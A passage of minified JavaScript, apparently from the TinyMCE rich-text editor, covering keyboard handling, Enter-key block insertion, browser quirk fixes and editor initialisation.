t,n})},KC=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];var r=Array.prototype.slice.call(arguments,1);return function(){return e.apply(null,r)}},XC=function(e,t){return X(WC(e,t),function(e){return e.action()})},YC=function(i,a){i.on("keydown",function(e){var t,n,r,o;!1===e.isDefaultPrevented()&&(t=i,n=a,r=e,o=or.detect().os,XC([{keyCode:rv.RIGHT,action:wC(t,!0)},{keyCode:rv.LEFT,action:wC(t,!1)},{keyCode:rv.UP,action:NC(t,!1)},{keyCode:rv.DOWN,action:NC(t,!0)},{keyCode:rv.RIGHT,action:FC(t,!0)},{keyCode:rv.LEFT,action:FC(t,!1)},{keyCode:rv.UP,action:MC(t,!1)},{keyCode:rv.DOWN,action:MC(t,!0)},{keyCode:rv.RIGHT,action:Xd.move(t,n,!0)},{keyCode:rv.LEFT,action:Xd.move(t,n,!1)},{keyCode:rv.RIGHT,ctrlKey:!o.isOSX(),altKey:o.isOSX(),action:Xd.moveNextWord(t,n)},{keyCode:rv.LEFT,ctrlKey:!o.isOSX(),altKey:o.isOSX(),action:Xd.movePrevWord(t,n)},{keyCode:rv.UP,action:$C(t,!1)},{keyCode:rv.DOWN,action:$C(t,!0)}],r).each(function(e){r.preventDefault()}))})},GC=function(o,i){o.on("keydown",function(e){var t,n,r;!1===e.isDefaultPrevented()&&(t=o,n=i,r=e,XC([{keyCode:rv.BACKSPACE,action:KC(ad,t,!1)},{keyCode:rv.DELETE,action:KC(ad,t,!0)},{keyCode:rv.BACKSPACE,action:KC(gg,t,!1)},{keyCode:rv.DELETE,action:KC(gg,t,!0)},{keyCode:rv.BACKSPACE,action:KC(Qd,t,n,!1)},{keyCode:rv.DELETE,action:KC(Qd,t,n,!0)},{keyCode:rv.BACKSPACE,action:KC(Dm,t,!1)},{keyCode:rv.DELETE,action:KC(Dm,t,!0)},{keyCode:rv.BACKSPACE,action:KC(Cf,t,!1)},{keyCode:rv.DELETE,action:KC(Cf,t,!0)},{keyCode:rv.BACKSPACE,action:KC(hf,t,!1)},{keyCode:rv.DELETE,action:KC(hf,t,!0)},{keyCode:rv.BACKSPACE,action:KC(ng,t,!1)},{keyCode:rv.DELETE,action:KC(ng,t,!0)}],r).each(function(e){r.preventDefault()}))}),o.on("keyup",function(e){var t,n;!1===e.isDefaultPrevented()&&(t=o,n=e,XC([{keyCode:rv.BACKSPACE,action:KC(ud,t)},{keyCode:rv.DELETE,action:KC(ud,t)}],n))})},JC=function(e){return _.from(e.dom.getParent(e.selection.getStart(!0),e.dom.isBlock))},QC=function(e,t){var n,r,o,i=t,a=e.dom,u=e.schema.getMoveCaretBeforeOnEnterElements();if(t){if(/^(LI|DT|DD)$/.test(t.nodeName)){var s=function(e){for(;e;){if(1===e.nodeType||3===e.nodeType&&e.data&&/[\r\n\s]/.test(e.data))return e;e=e.nextSibling}}(t.firstChild);s&&/^(UL|OL|DL)$/.test(s.nodeName)&&t.insertBefore(a.doc.createTextNode("\xa0"),t.firstChild)}if(o=a.createRng(),t.normalize(),t.hasChildNodes()){for(n=new go(t,t);r=n.current();){if(jo.isText(r)){o.setStart(r,0),o.setEnd(r,0);break}if(u[r.nodeName.toLowerCase()]){o.setStartBefore(r),o.setEndBefore(r);break}i=r,r=n.next()}r||(o.setStart(i,0),o.setEnd(i,0))}else jo.isBr(t)?t.nextSibling&&a.isBlock(t.nextSibling)?(o.setStartBefore(t),o.setEndBefore(t)):(o.setStartAfter(t),o.setEndAfter(t)):(o.setStart(t,0),o.setEnd(t,0));e.selection.setRng(o),a.remove(void 0),e.selection.scrollIntoView(t)}},ZC=function(e,t){var n,r,o=e.getRoot();for(n=t;n!==o&&"false"!==e.getContentEditable(n);)"true"===e.getContentEditable(n)&&(r=n),n=n.parentNode;return n!==o?r:o},ex=JC,tx=function(e){return JC(e).fold(q(""),function(e){return e.nodeName.toUpperCase()})},nx=function(e){return JC(e).filter(function(e){return So(ar.fromDom(e))}).isSome()},rx=function(e,t){return e&&e.parentNode&&e.parentNode.nodeName===t},ox=function(e){return e&&/^(OL|UL|LI)$/.test(e.nodeName)},ix=function(e){var t=e.parentNode;return/^(LI|DT|DD)$/.test(t.nodeName)?t:e},ax=function(e,t,n){for(var r=e[n?"firstChild":"lastChild"];r&&!jo.isElement(r);)r=r[n?"nextSibling":"previousSibling"];return r===t},ux=function(e,t,n,r,o){var i=e.dom,a=e.selection.getRng();if(n!==e.getBody()){var u;ox(u=n)&&ox(u.parentNode)&&(o="LI");var s,c,l=o?t(o):i.create("BR");if(ax(n,r,!0)&&ax(n,r,!1))rx(n,"LI")?i.insertAfter(l,ix(n)):i.replace(l,n);else if(ax(n,r,!0))rx(n,"LI")?(i.insertAfter(l,ix(n)),l.appendChild(i.doc.createTextNode(" ")),l.appendChild(n)):n.parentNode.insertBefore(l,n);else if(ax(n,r,!1))i.insertAfter(l,ix(n));else{n=ix(n);var f=a.cloneRange();f.setStartAfter(r),f.setEndAfter(n);var d=f.extractContents();"LI"===o&&(c="LI",(s=d).firstChild&&s.firstChild.nodeName===c)?(l=d.firstChild,i.insertAfter(d,n)):(i.insertAfter(d,n),i.insertAfter(l,n))}i.remove(r),QC(e,l)}},sx=function(e){e.innerHTML='<br data-mce-bogus="1">'},cx=function(e,t){return e.nodeName===t||e.previousSibling&&e.previousSibling.nodeName===t},lx=function(e,t){return t&&e.isBlock(t)&&!/^(TD|TH|CAPTION|FORM)$/.test(t.nodeName)&&!/^(fixed|absolute)/i.test(t.style.position)&&"true"!==e.getContentEditable(t)},fx=function(e,t,n){return!1===jo.isText(t)?n:e?1===n&&t.data.charAt(n-1)===xa?0:n:n===t.data.length-1&&t.data.charAt(n)===xa?t.data.length:n},dx=function(e,t){var n,r,o=e.getRoot();for(n=t;n!==o&&"false"!==e.getContentEditable(n);)"true"===e.getContentEditable(n)&&(r=n),n=n.parentNode;return n!==o?r:o},mx=function(o,i,e){_.from(e.style).map(o.dom.parseStyle).each(function(e){var t=function(e){var t={},n=e.dom();if(Cr(n))for(var r=0;r<n.style.length;r++){var o=n.style.item(r);t[o]=n.style[o]}return t}(ar.fromDom(i)),n=ma(ma({},t),e);o.dom.setStyles(i,n)});var t=_.from(e["class"]).map(function(e){return e.split(/\s+/)}),n=_.from(i.className).map(function(e){return U(e.split(/\s+/),function(e){return""!==e})});ru(t,n,function(t,e){var n=U(e,function(e){return!F(t,e)}),r=function(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;var r=Array(e),o=0;for(t=0;t<n;t++)for(var i=arguments[t],a=0,u=i.length;a<u;a++,o++)r[o]=i[a];return r}(t,n);o.dom.setAttrib(i,"class",r.join(" "))});var r=["style","class"],a=yr(e,function(e,t){return!F(r,t)}).t;o.dom.setAttribs(i,a)},gx=function(e,t){var n=Nl(e);if(n&&n.toLowerCase()===t.tagName.toLowerCase()){var r=El(e);mx(e,t,r)}},px=function(a,e){var t,u,s,i,c,n,r,o,l,f,d,m,g,p,h,v,y,b,C,x=a.dom,w=a.schema,N=w.getNonEmptyElements(),E=a.selection.getRng(),S=function(e){var t,n,r,o=s,i=w.getTextInlineElements();if(r=t=e||"TABLE"===f||"HR"===f?x.create(e||m):c.cloneNode(!1),!1===kl(a))x.setAttrib(t,"style",null),x.setAttrib(t,"class",null);else do{if(i[o.nodeName]){if(Ju(o)||yc(o))continue;n=o.cloneNode(!1),x.setAttrib(n,"id",""),t.hasChildNodes()?n.appendChild(t.firstChild):r=n,t.appendChild(n)}}while((o=o.parentNode)&&o!==u);return gx(a,t),sx(r),t},T=function(e){var t,n,r,o;if(o=fx(e,s,i),jo.isText(s)&&(e?0<o:o<s.nodeValue.length))return!1;if(s.parentNode===c&&g&&!e)return!0;if(e&&jo.isElement(s)&&s===c.firstChild)return!0;if(cx(s,"TABLE")||cx(s,"HR"))return g&&!e||!g&&e;for(t=new go(s,c),jo.isText(s)&&(e&&0===o?t.prev():e||o!==s.nodeValue.length||t.next());n=t.current();){if(jo.isElement(n)){if(!n.getAttribute("data-mce-bogus")&&(r=n.nodeName.toLowerCase(),N[r]&&"br"!==r))return!1}else if(jo.isText(n)&&!/^[ \t\r\n]*$/.test(n.nodeValue))return!1;e?t.prev():t.next()}return!0},k=function(){r=/^(H[1-6]|PRE|FIGURE)$/.test(f)&&"HGROUP"!==d?S(m):S(),_l(a)&&lx(x,l)&&x.isEmpty(c)?r=x.split(l,c):x.insertAfter(r,c),QC(a,r)};Dg(x,E).each(function(e){E.setStart(e.startContainer,e.startOffset),E.setEnd(e.endContainer,e.endOffset)}),s=E.startContainer,i=E.startOffset,m=Nl(a),n=e.shiftKey,jo.isElement(s)&&s.hasChildNodes()&&(g=i>s.childNodes.length-1,s=s.childNodes[Math.min(i,s.childNodes.length-1)]||s,i=g&&jo.isText(s)?s.nodeValue.length:0),(u=dx(x,s))&&((m&&!n||!m&&n)&&(s=function(e,t,n,r,o){var i,a,u,s,c,l,f,d=t||"P",m=e.dom,g=dx(m,r);if(!(a=m.getParent(r,m.isBlock))||!lx(m,a)){if(l=(a=a||g)===e.getBody()||(f=a)&&/^(TD|TH|CAPTION)$/.test(f.nodeName)?a.nodeName.toLowerCase():a.parentNode.nodeName.toLowerCase(),!a.hasChildNodes())return i=m.create(d),gx(e,i),a.appendChild(i),n.setStart(i,0),n.setEnd(i,0),i;for(s=r;s.parentNode!==a;)s=s.parentNode;for(;s&&!m.isBlock(s);)s=(u=s).previousSibling;if(u&&e.schema.isValidChild(l,d.toLowerCase())){for(i=m.create(d),gx(e,i),u.parentNode.insertBefore(i,u),s=u;s&&!m.isBlock(s);)c=s.nextSibling,i.appendChild(s),s=c;n.setStart(r,o),n.setEnd(r,o)}}return r}(a,m,E,s,i)),c=x.getParent(s,x.isBlock),l=c?x.getParent(c.parentNode,x.isBlock):null,f=c?c.nodeName.toUpperCase():"","LI"!==(d=l?l.nodeName.toUpperCase():"")||e.ctrlKey||(l=(c=l).parentNode,f=d),/^(LI|DT|DD)$/.test(f)&&x.isEmpty(c)?ux(a,S,l,c,m):m&&c===a.getBody()||(m=m||"P",Sa(c)?(r=Pa(c),x.isEmpty(c)&&sx(c),gx(a,r),QC(a,r)):T()?k():T(!0)?(r=c.parentNode.insertBefore(S(),c),QC(a,cx(c,"HR")?r:c)):((t=(b=E,C=b.cloneRange(),C.setStart(b.startContainer,fx(!0,b.startContainer,b.startOffset)),C.setEnd(b.endContainer,fx(!1,b.endContainer,b.endOffset)),C).cloneRange()).setEndAfter(c),o=t.extractContents(),y=o,z(Ji(ar.fromDom(y),mr),function(e){var t=e.dom();t.nodeValue=wa(t.nodeValue)}),function(e){for(;jo.isText(e)&&(e.nodeValue=e.nodeValue.replace(/^[\r\n]+/,"")),e=e.firstChild;);}(o),r=o.firstChild,x.insertAfter(o,c),function(e,t,n){var r,o=n,i=[];if(o){for(;o=o.firstChild;){if(e.isBlock(o))return;jo.isElement(o)&&!t[o.nodeName.toLowerCase()]&&i.push(o)}for(r=i.length;r--;)!(o=i[r]).hasChildNodes()||o.firstChild===o.lastChild&&""===o.firstChild.nodeValue?e.remove(o):(a=e,(u=o)&&"A"===u.nodeName&&a.isEmpty(u)&&e.remove(o));var a,u}}(x,N,r),p=x,(h=c).normalize(),(v=h.lastChild)&&!/^(left|right)$/gi.test(p.getStyle(v,"float",!0))||p.add(h,"br"),x.isEmpty(c)&&sx(c),r.normalize(),x.isEmpty(r)?(x.remove(r),k()):(gx(a,r),QC(a,r))),x.setAttrib(r,"id",""),a.fire("NewBlock",{newBlock:r})))},hx=function(e,t){return ex(e).filter(function(e){return 0<t.length&&Lr(ar.fromDom(e),t)}).isSome()},vx=function(e){return hx(e,Sl(e))},yx=function(e){return hx(e,Tl(e))},bx=xf([{br:[]},{block:[]},{none:[]}]),Cx=function(e,t){return yx(e)},xx=function(n){return function(e,t){return""===Nl(e)===n}},wx=function(n){return function(e,t){return nx(e)===n}},Nx=function(n,r){return function(e,t){return tx(e)===n.toUpperCase()===r}},Ex=function(e){return Nx("pre",e)},Sx=function(n){return function(e,t){return wl(e)===n}},Tx=function(e,t){return vx(e)},kx=function(e,t){return t},_x=function(e){var t=Nl(e),n=ZC(e.dom,e.selection.getStart());return n&&e.schema.isValidChild(n.nodeName,t||"P")},Ax=function(e,t){return function(n,r){return j(e,function(e,t){return e&&t(n,r)},!0)?_.some(t):_.none()}},Rx=function(e,t){return yd([Ax([Cx],bx.none()),Ax([Nx("summary",!0)],bx.br()),Ax([Ex(!0),Sx(!1),kx],bx.br()),Ax([Ex(!0),Sx(!1)],bx.block()),Ax([Ex(!0),Sx(!0),kx],bx.block()),Ax([Ex(!0),Sx(!0)],bx.br()),Ax([wx(!0),kx],bx.br()),Ax([wx(!0)],bx.block()),Ax([xx(!0),kx,_x],bx.block()),Ax([xx(!0)],bx.br()),Ax([Tx],bx.br()),Ax([xx(!1),kx],bx.br()),Ax([_x],bx.block())],[e,t.shiftKey]).getOr(bx.none())},Dx=function(e,t){Rx(e,t).fold(function(){jg(e,t)},function(){px(e,t)},o)},Ox=function(o){o.on("keydown",function(e){var t,n,r;e.keyCode===rv.ENTER&&(t=o,(n=e).isDefaultPrevented()||(n.preventDefault(),(r=t.undoManager).typing&&(r.typing=!1,r.add()),t.undoManager.transact(function(){!1===t.selection.isCollapsed()&&t.execCommand("Delete"),Dx(t,n)})))})},Bx=function(n,r){var e=r.container(),t=r.offset();return jo.isText(e)?(e.insertData(t,n),_.some(Su(e,t+n.length))):Is(r).map(function(e){var t=ar.fromText(n);return r.isAtEnd()?Ii(e,t):Pi(e,t),Su(t.dom(),n.length)})},Px=d(Bx,"\xa0"),Ix=d(Bx," "),Lx=function(e,t,n){return sc.navigateIgnore(e,t,n,Pf)},Fx=function(e,t){return X(uf(ar.fromDom(t.container()),e),Co)},Mx=function(e,n,r){return Lx(e,n.dom(),r).forall(function(t){return Fx(n,r).fold(function(){return!1===Ts(t,r,n.dom())},function(e){return!1===Ts(t,r,n.dom())&&zr(e,ar.fromDom(t.container()))})})},zx=function(t,n,r){return Fx(n,r).fold(function(){return Lx(t,n.dom(),r).forall(function(e){return!1===Ts(e,r,n.dom())})},function(e){return Lx(t,e.dom(),r).isNone()})},Ux=d(zx,!1),jx=d(zx,!0),Vx=d(Mx,!1),Hx=d(Mx,!0),qx=function(e){return Su.isTextPosition(e)&&!e.isAtStart()&&!e.isAtEnd()},$x=function(e,t){var n=U(uf(ar.fromDom(t.container()),e),Co);return Z(n).getOr(e)},Wx=function(e,t){return qx(t)?Bf(t):Bf(t)||sc.prevPosition($x(e,t).dom(),t).exists(Bf)},Kx=function(e,t){return qx(t)?Of(t):Of(t)||sc.nextPosition($x(e,t).dom(),t).exists(Of)},Xx=function(e){return Is(e).bind(function(e){return na(e,dr)}).exists(function(e){return t=kr(e,"white-space"),F(["pre","pre-wrap"],t);var t})},Yx=function(e,t){return o=e,i=t,sc.prevPosition(o.dom(),i).isNone()||(n=e,r=t,sc.nextPosition(n.dom(),r).isNone())||Ux(e,t)||jx(e,t)||Sf(e,t)||Ef(e,t);var n,r,o,i},Gx=function(e,t){var n,r,o,i=(r=(n=t).container(),o=n.offset(),jo.isText(r)&&o<r.data.length?Su(r,o+1):n);return!Xx(i)&&(jx(e,i)||Hx(e,i)||Ef(e,i)||Kx(e,i))},Jx=function(e,t){return n=e,!Xx(r=t)&&(Ux(n,r)||Vx(n,r)||Sf(n,r)||Wx(n,r))||Gx(e,t);var n,r},Qx=function(e,t){return _f(e.charAt(t))},Zx=function(e){var t=e.container();return jo.isText(t)&&Yn(t.data,"\xa0")},ew=function(e){var n,t=e.data,r=(n=t.split(""),W(n,function(e,t){return _f(e)&&0<t&&t<n.length-1&&Rf(n[t-1])&&Rf(n[t+1])?" ":e}).join(""));return r!==t&&(e.data=r,!0)},tw=function(l,e){return _.some(e).filter(Zx).bind(function(e){var t,n,r,o,i,a,u,s,c=e.container();return i=l,u=(a=c).data,s=Su(a,0),Qx(u,0)&&!Jx(i,s)&&(a.data=" "+u.slice(1),1)||ew(c)||(t=l,r=(n=c).data,o=Su(n,r.length-1),Qx(r,r.length-1)&&!Jx(t,o)&&(n.data=r.slice(0,-1)+" ",1))?_.some(e):_.none()})},nw=function(t){var e=ar.fromDom(t.getBody());t.selection.isCollapsed()&&tw(e,Su.fromRangeStart(t.selection.getRng())).each(function(e){t.selection.setRng(e.toRange())})},rw=function(r,o){return function(e){return t=r,!Xx(n=e)&&(Yx(t,n)||Wx(t,n)||Kx(t,n))?Px(o):Ix(o);var t,n}},ow=function(e){var t,n,r=_u.fromRangeStart(e.selection.getRng()),o=ar.fromDom(e.getBody());if(e.selection.isCollapsed()){var i=d(Vl.isInlineTarget,e),a=_u.fromRangeStart(e.selection.getRng());return Ld(i,e.getBody(),a).bind((n=o,function(e){return e.fold(function(e){return sc.prevPosition(n.dom(),_u.before(e))},function(e){return sc.firstPositionIn(e)},function(e){return sc.lastPositionIn(e)},function(e){return sc.nextPosition(n.dom(),_u.after(e))})})).bind(rw(o,r)).exists((t=e,function(e){return t.selection.setRng(e.toRange()),t.nodeChanged(),!0}))}return!1},iw=function(r){r.on("keydown",function(e){var t,n;!1===e.isDefaultPrevented()&&(t=r,n=e,XC([{keyCode:rv.SPACEBAR,action:KC(ow,t)}],n).each(function(e){n.preventDefault()}))})},aw=function(e,t){var n;t.hasAttribute("data-mce-caret")&&(Pa(t),(n=e).selection.setRng(n.selection.getRng()),e.selection.scrollIntoView(t))},uw=function(e,t){var n,r=(n=e,oa(ar.fromDom(n.getBody()),"*[data-mce-caret]").fold(q(null),function(e){return e.dom()}));if(r)return"compositionstart"===t.type?(t.preventDefault(),t.stopPropagation(),void aw(e,r)):void(_a(r)&&(aw(e,r),e.undoManager.add()))},sw=function(e){e.on("keyup compositionstart",d(uw,e))},cw=or.detect().browser,lw=function(t){var e,n;e=t,n=Vi(function(){e.composing||nw(e)},0),cw.isIE()&&(e.on("keypress",function(e){n.throttle()}),e.on("remove",function(e){n.cancel()})),t.on("input",function(e){!1===e.isComposing&&nw(t)})},fw=function(r){r.on("keydown",function(e){var t,n;!1===e.isDefaultPrevented()&&(t=r,n=e,XC([{keyCode:rv.END,action:EC(t,!0)},{keyCode:rv.HOME,action:EC(t,!1)}],n).each(function(e){n.preventDefault()}))})},dw=function(e){var t=Xd.setupSelectedState(e);sw(e),YC(e,t),GC(e,t),Ox(e),iw(e),lw(e),fw(e)};function mw(u){var s,n,r,o=Xt.each,c=rv.BACKSPACE,l=rv.DELETE,f=u.dom,d=u.selection,e=u.settings,t=u.parser,i=fe.gecko,a=fe.ie,m=fe.webkit,g="data:text/mce-internal,",p=a?"Text":"URL",h=function(e,t){try{u.getDoc().execCommand(e,!1,t)}catch(n){}},v=function(e){return e.isDefaultPrevented()},y=function(){u.shortcuts.add("meta+a",null,"SelectAll")},b=function(){u.on("keydown",function(e){if(!v(e)&&e.keyCode===c&&d.isCollapsed()&&0===d.getRng().startOffset){var t=d.getNode().previousSibling;if(t&&t.nodeName&&"table"===t.nodeName.toLowerCase())return e.preventDefault(),!1}})},C=function(){u.inline||(u.contentStyles.push("body {min-height: 150px}"),u.on("click",function(e){var t;if("HTML"===e.target.nodeName){if(11<fe.ie)return void u.getBody().focus();t=u.selection.getRng(),u.getBody().focus(),u.selection.setRng(t),u.selection.normalize(),u.nodeChanged()}}))};return u.on("keydown",function(e){var t,n,r,o,i;if(!v(e)&&e.keyCode===rv.BACKSPACE&&(n=(t=d.getRng()).startContainer,r=t.startOffset,o=f.getRoot(),i=n,t.collapsed&&0===r)){for(;i&&i.parentNode&&i.parentNode.firstChild===i&&i.parentNode!==o;)i=i.parentNode;"BLOCKQUOTE"===i.tagName&&(u.formatter.toggle("blockquote",null,i),(t=f.createRng()).setStart(n,0),t.setEnd(n,0),d.setRng(t))}}),s=function(e){var t=f.create("body"),n=e.cloneContents();return t.appendChild(n),d.serializer.serialize(t,{format:"html"})},u.on("keydown",function(e){var t,n,r,o,i,a=e.keyCode;if(!v(e)&&(a===l||a===c)){if(t=u.selection.isCollapsed(),n=u.getBody(),t&&!f.isEmpty(n))return;if(!t&&(r=u.selection.getRng(),o=s(r),(i=f.createRng()).selectNode(u.getBody()),o!==s(i)))return;e.preventDefault(),u.setContent(""),n.firstChild&&f.isBlock(n.firstChild)?u.selection.setCursorLocation(n.firstChild,0):u.selection.setCursorLocation(n,0),u.nodeChanged()}}),fe.windowsPhone||u.on("keyup focusin mouseup",function(e){rv.modifierPressed(e)||d.normalize()},!0),m&&(u.settings.content_editable||f.bind(u.getDoc(),"mousedown mouseup",function(e){var t;if(e.target===u.getDoc().documentElement)if(t=d.getRng(),u.getBody().focus(),"mousedown"===e.type){if(ka(t.startContainer))return;d.placeCaretAt(e.clientX,e.clientY)}else d.setRng(t)}),u.on("click",function(e){var t=e.target;/^(IMG|HR)$/.test(t.nodeName)&&"false"!==f.getContentEditableParent(t)&&(e.preventDefault(),u.selection.select(t),u.nodeChanged()),"A"===t.nodeName&&f.hasClass(t,"mce-item-anchor")&&(e.preventDefault(),d.select(t))}),e.forced_root_block&&u.on("init",function(){h("DefaultParagraphSeparator",e.forced_root_block)}),u.on("init",function(){u.dom.bind(u.getBody(),"submit",function(e){e.preventDefault()})}),b(),t.addNodeFilter("br",function(e){for(var t=e.length;t--;)"Apple-interchange-newline"===e[t].attr("class")&&e[t].remove()}),fe.iOS?(u.inline||u.on("keydown",function(){V.document.activeElement===V.document.body&&u.getWin().focus()}),C(),u.on("click",function(e){var t=e.target;do{if("A"===t.tagName)return void e.preventDefault()}while(t=t.parentNode)}),u.contentStyles.push(".mce-content-body {-webkit-touch-callout: none}")):y()),11<=fe.ie&&(C(),b()),fe.ie&&(y(),h("AutoUrlDetect",!1),u.on("dragstart",function(e){var t,n,r;(t=e).dataTransfer&&(u.selection.isCollapsed()&&"IMG"===t.target.tagName&&d.select(t.target),0<(n=u.selection.getContent()).length&&(r=g+escape(u.id)+","+escape(n),t.dataTransfer.setData(p,r)))}),u.on("drop",function(e){if(!v(e)){var t=(i=e).dataTransfer&&(a=i.dataTransfer.getData(p))&&0<=a.indexOf(g)?(a=a.substr(g.length).split(","),{id:unescape(a[0]),html:unescape(a[1])}):null;if(t&&t.id!==u.id){e.preventDefault();var n=Bb(e.x,e.y,u.getDoc());d.setRng(n),r=t.html,o=!0,u.queryCommandSupported("mceInsertClipboardContent")?u.execCommand("mceInsertClipboardContent",!1,{content:r,internal:o}):u.execCommand("mceInsertContent",!1,r)}}var r,o,i,a})),i&&(u.on("keydown",function(e){if(!v(e)&&e.keyCode===c){if(!u.getBody().getElementsByTagName("hr").length)return;if(d.isCollapsed()&&0===d.getRng().startOffset){var t=d.getNode(),n=t.previousSibling;if("HR"===t.nodeName)return f.remove(t),void e.preventDefault();n&&n.nodeName&&"hr"===n.nodeName.toLowerCase()&&(f.remove(n),e.preventDefault())}}}),V.Range.prototype.getClientRects||u.on("mousedown",function(e){if(!v(e)&&"HTML"===e.target.nodeName){var t=u.getBody();t.blur(),he.setEditorTimeout(u,function(){t.focus()})}}),n=function(){var e=f.getAttribs(d.getStart().cloneNode(!1));return function(){var t=d.getStart();t!==u.getBody()&&(f.setAttrib(t,"style",null),o(e,function(e){t.setAttributeNode(e.cloneNode(!0))}))}},r=function(){return!d.isCollapsed()&&f.getParent(d.getStart(),f.isBlock)!==f.getParent(d.getEnd(),f.isBlock)},u.on("keypress",function(e){var t;if(!v(e)&&(8===e.keyCode||46===e.keyCode)&&r())return t=n(),u.getDoc().execCommand("delete",!1,null),t(),e.preventDefault(),!1}),f.bind(u.getDoc(),"cut",function(e){var t;!v(e)&&r()&&(t=n(),he.setEditorTimeout(u,function(){t()}))}),e.readonly||u.on("BeforeExecCommand MouseDown",function(){h("StyleWithCSS",!1),h("enableInlineTableEditing",!1),e.object_resizing||h("enableObjectResizing",!1)}),u.on("SetContent ExecCommand",function(e){"setcontent"!==e.type&&"mceInsertLink"!==e.command||o(f.select("a"),function(e){var t=e.parentNode,n=f.getRoot();if(t.lastChild===e){for(;t&&!f.isBlock(t);){if(t.parentNode.lastChild!==t||t===n)return;t=t.parentNode}f.add(t,"br",{"data-mce-bogus":1})}})}),u.contentStyles.push("img:-moz-broken {-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}"),fe.mac&&u.on("keydown",function(e){!rv.metaKeyPressed(e)||e.shiftKey||37!==e.keyCode&&39!==e.keyCode||(e.preventDefault(),u.selection.getSel().modify("move",37===e.keyCode?"backward":"forward","lineboundary"))}),b()),{refreshContentEditable:function(){},isHidden:function(){var e;return!i||u.removed?0:!(e=u.selection.getSel())||!e.rangeCount||0===e.rangeCount}}}var gw=function(e){return jo.isElement(e)&&No(ar.fromDom(e))},pw=function(t){t.on("click",function(e){3<=e.detail&&function(e){var t=e.selection.getRng(),n=Su.fromRangeStart(t),r=Su.fromRangeEnd(t);if(Su.isElementPosition(n)){var o=n.container();gw(o)&&sc.firstPositionIn(o).each(function(e){return t.setStart(e.container(),e.offset())})}Su.isElementPosition(r)&&(o=n.container(),gw(o)&&sc.lastPositionIn(o).each(function(e){return t.setEnd(e.container(),e.offset())})),e.selection.setRng(cl(t))}(t)})},hw=function(e){var t,n;(t=e).on("click",function(e){t.dom.getParent(e.target,"details")&&e.preventDefault()}),(n=e).parser.addNodeFilter("details",function(e){z(e,function(e){e.attr("data-mce-open",e.attr("open")),e.attr("open","open")})}),n.serializer.addNodeFilter("details",function(e){z(e,function(e){var t=e.attr("data-mce-open");e.attr("open",S(t)?t:null),e.attr("data-mce-open",null)})})},vw=Si.DOM,yw=function(e){var t;e.bindPendingEventDelegates(),e.initialized=!0,e.fire("init"),e.focus(!0),e.nodeChanged({initial:!0}),e.execCallback("init_instance_callback",e),(t=e).settings.auto_focus&&he.setEditorTimeout(t,function(){var e;(e=!0===t.settings.auto_focus?t:t.editorManager.get(t.settings.auto_focus)).destroyed||e.focus()},100)},bw=function(t,e){var n,r,u,o,i,a,s,c,l,f=t.settings,d=t.getElement(),m=t.getDoc();f.inline||(t.getElement().style.visibility=t.orgVisibility),e||f.content_editable||(m.open(),m.write(t.iframeHTML),m.close()),f.content_editable&&(t.on("remove",function(){var e=this.getBody();vw.removeClass(e,"mce-content-body"),vw.removeClass(e,"mce-edit-focus"),vw.setAttrib(e,"contentEditable",null)}),vw.addClass(d,"mce-content-body"),t.contentDocument=m=f.content_document||V.document,t.contentWindow=f.content_window||V.window,t.bodyElement=d,f.content_document=f.content_window=null,f.root_name=d.nodeName.toLowerCase()),(n=t.getBody()).disabled=!0,t.readonly=f.readonly,t.readonly||(t.inline&&"static"===vw.getStyle(n,"position",!0)&&(n.style.position="relative"),n.contentEditable=t.getParam("content_editable_state",!0)),n.disabled=!1,t.editorUpload=qh(t),t.schema=di(f),t.dom=Si(m,{keep_values:!0,url_converter:t.convertURL,url_converter_scope:t,hex_colors:f.force_hex_style_colors,class_filter:f.class_filter,update_styles:!0,root_element:t.inline?t.getBody():null,collect:f.content_editable,schema:t.schema,contentCssCors:zl(t),onSetAttrib:function(e){t.fire("SetAttrib",e)}}),t.parser=((o=bb((u=t).settings,u.schema)).addAttributeFilter("src,href,style,tabindex",function(e,t){for(var n,r,o,i=e.length,a=u.dom;i--;)if(r=(n=e[i]).attr(t),o="data-mce-"+t,!n.attributes.map[o]){if(0===r.indexOf("data:")||0===r.indexOf("blob:"))continue;"style"===t?((r=a.serializeStyle(a.parseStyle(r),n.name)).length||(r=null),n.attr(o,r),n.attr(t,r)):"tabindex"===t?(n.attr(o,r),n.attr(t,null)):n.attr(o,u.convertURL(r,t,n.name))}}),o.addNodeFilter("script",function(e){for(var t,n,r=e.length;r--;)0!==(n=(t=e[r]).attr("type")||"no/type").indexOf("mce-")&&t.attr("type","mce-"+n)}),o.addNodeFilter("#cdata",function(e){for(var t,n=e.length;n--;)(t=e[n]).type=8,t.name="#comment",t.value="[CDATA["+t.value+"]]"}),o.addNodeFilter("p,h1,h2,h3,h4,h5,h6,div",function(e){for(var t,n=e.length,r=u.schema.getNonEmptyElements();n--;)(t=e[n]).isEmpty(r)&&0===t.getAll("br").length&&(t.append(new sb("br",1)).shortEnded=!0)}),o),t.serializer=Eb(f,t),t.selection=uC(t.dom,t.getWin(),t.serializer,t),t.annotator=Hc(t),t.formatter=Gy(t),t.undoManager=ry(t),t._nodeChangeDispatcher=new ev(t),t._selectionOverrides=Bv(t),hw(t),pw(t),dw(t),Xh(t),t.fire("PreInit"),f.browser_spellcheck||f.gecko_spellcheck||(m.body.spellcheck=!1,vw.setAttrib(n,"spellcheck","false")),t.quirks=mw(t),t.fire("PostRender"),f.directionality&&(n.dir=f.directionality),f.nowrap&&(n.style.whiteSpace="nowrap"),f.protect&&t.on("BeforeSetContent",function(t){Xt.each(f.protect,function(e){t.content=t.content.replace(e,function(e){return"\x3c!--mce:protected "+escape(e)+"--\x3e"})})}),t.on("SetContent",function(){t.addVisual(t.getBody())}),t.load({initial:!0,format:"html"}),t.startContent=t.getContent({format:"raw"}),t.on("compositionstart compositionend",function(e){t.composing="compositionstart"===e.type}),0<t.contentStyles.length&&(r="",Xt.each(t.contentStyles,function(e){r+=e+"\r\n"}),t.dom.addStyle(r)),(i=t,i.inline?vw.styleSheetLoader:i.dom.styleSheetLoader).loadAll(t.contentCSS,function(e){yw(t)},function(e){yw(t)}),f.content_style&&(a=t,s=f.content_style,c=ar.fromDom(a.getDoc().head),l=ar.fromTag("style"),wr(l,"type","text/css"),Fi(l,ar.fromText(s)),Fi(c,l))},Cw=Si.DOM,xw=function(e,t){var n,r,o,i,a,u,s,c=e.editorManager.translate("Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for 